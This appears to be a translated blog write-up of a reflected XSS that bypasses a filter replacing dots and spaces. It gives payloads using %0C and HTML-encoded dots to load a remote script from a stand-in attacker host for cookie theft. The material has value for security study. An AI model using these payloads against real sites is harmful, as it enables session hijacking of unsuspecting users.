无点XSS攻击技术解析

本文详细介绍了如何在不使用点号的情况下实现XSS攻击,通过HTML编码和特殊字符绕过安全过滤,成功执行远程脚本加载并获取用户cookie的完整技术过程。

XSS Without Dots

发现漏洞

我发现一个网站将查询字符串和POST数据中的所有内容回显到<div>标签中。
例如:example.php?monkey=banana 返回:

1
2
3
<div>
monkey => banana
</div>

我猜测这是用于调试目的。因此一个简单的XSS攻击可以通过:
example.php?<script>alert(1)</script> 实现:

1
2
3
<div>
<script>alert(1)</script>
</div>

尝试获取Cookie

我决定不只是弹出1或xss,而是输出当前cookie作为简单的概念验证。
但事情并不像看起来那么简单:
example.php?<script>alert(document.cookie)</script> 返回:

1
2
3
<div>
<script>alert(document_cookie)</script>
</div>

下划线!?好吧,我尝试使用访问器来访问属性:
example.php?<script>alert(document['cookie'])</script> 失败:

1
2
3
<div>
<script>alert(document[
</div>

远程脚本加载方案

于是我考虑将脚本托管在远程域:
example.php?<script src="//attacker-site.co.uk/sc.js"></script>

1
2
3
<div>
<script_src="//attacker-site_co_uk/sc_js"></script>
</div>

绕过限制

两个问题…
快速谷歌搜索后,发现可以使用%0C代替空格:
example.php?<script%0Csrc="//attacker-site.co.uk/sc.js"></script>

为了处理点号,我们可以在HTML上下文中对其进行HTML编码:
example.php?<script%0Csrc="//attacker-site&#46;co&#46;uk/sc&#46;js"></script>

百分号编码后为:
example.php?<script%0Csrc="//attacker-site%26%2346%3bco%26%2346%3buk/sc%26%2346%3bjs"></script>

成功攻击

最终成功执行:

1
2
3
<div>
<script src="//attacker-site&#46;co&#46;uk/sc&#46;js"></script>
</div>

浏览器将其解析为:
<script src="//attacker-site.co.uk/sc.js"></script>

并忠实地显示我们的消息框。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计